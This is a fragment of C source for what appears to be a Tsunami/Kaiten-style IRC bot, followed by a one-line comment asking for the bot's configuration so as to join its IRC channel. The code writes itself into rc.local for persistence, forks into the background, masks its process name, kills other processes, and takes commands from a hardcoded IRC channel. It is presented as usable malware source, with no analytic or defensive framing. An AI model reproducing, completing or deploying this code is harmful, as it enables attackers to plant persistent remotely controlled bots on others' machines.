#ifdef STARTUP | |
str="/etc/rc.d/rc.local"; | |
file=fopen(str,"r"); | |
if (file == NULL) { | |
str="/etc/rc.local"; | |
file=fopen(str,"r"); | |
} | |
if (file != NULL) { | |
char outfile[256], buf[1024]; | |
int i=strlen(argv[0]), d=0; | |
getcwd(cwd,256); | |
if (strcmp(cwd,"/")) { | |
while(argv[0][i] != '/') i--; | |
sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i); | |
while(!feof(file)) { | |
fgets(buf,1024,file); | |
if (!strcasecmp(buf,outfile)) d++; | |
} | |
if (d == 0) { | |
FILE *out; | |
fclose(file); | |
out=fopen(str,"a"); | |
if (out != NULL) { | |
fputs(outfile,out); | |
fclose(out); | |
} | |
} | |
else fclose(file); | |
} | |
else fclose(file); | |
} | |
#endif | |
if (fork()) exit(0); | |
#ifdef FAKENAME | |
strncpy(argv[0],FAKENAME,strlen(argv[0])); | |
for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on])); | |
#endif | |
srand((time(NULL) ^ getpid()) + getppid()); | |
nick=makestring(); | |
ident=makestring(); | |
user=makestring(); | |
chan=CHAN; | |
key=KEY; | |
server=NULL; | |
sa: | |
#ifdef IDENT | |
for (i=0;i<numpids;i++) { | |
if (pids[i] != 0 && pids[i] != getpid()) { | |
kill(pids[i],9); | |
waitpid(pids[i],NULL,WNOHANG); | |
} | |
} | |
pids=NULL; | |
numpids=0; | |
identd(); | |
#endif | |
con(); | |
Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user); | |
while(1) { | |
unsigned long i; | |
fd_set n; | |
struct timeval tv; | |
FD_ZERO(&n); | |
FD_SET(sock,&n); | |
tv.tv_sec=60*20; | |
tv.tv_usec=0; | |
if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa; | |
for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) { | |
unsigned int *newpids,on; | |
for (on=i+1;on<numpids;on++) pids[on-1]=pids[on]; | |
pids[on-1]=0; | |
numpids--; | |
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int)); | |
for (on=0;on<numpids;on++) newpids[on]=pids[on]; | |
free(pids); | |
pids=newpids; | |
} | |
if (FD_ISSET(sock,&n)) { | |
char buf[4096], *str; | |
int i; | |
if ((i=recv(sock,buf,4096,0)) <= 0) goto sa; | |
buf[i]=0; | |
str=strtok(buf,"\n"); | |
while(str && *str) { | |
char name[1024], sender[1024]; | |
filter(str); | |
if (*str == ':') { | |
for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
str[i]=0; | |
strcpy(sender,str+1); | |
strcpy(str,str+i+1); | |
} | |
else strcpy(sender,"*"); | |
for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
str[i]=0; | |
strcpy(name,str); | |
strcpy(str,str+i+1); | |
for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str); | |
if (!strcasecmp(name,"ERROR")) goto sa; | |
str=strtok((char*)NULL,"\n"); | |
} | |
} | |
} | |
return 0; | |
} | |
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Do you have either the ISO or the Tsunami configuration? I want to pop onto that IRC.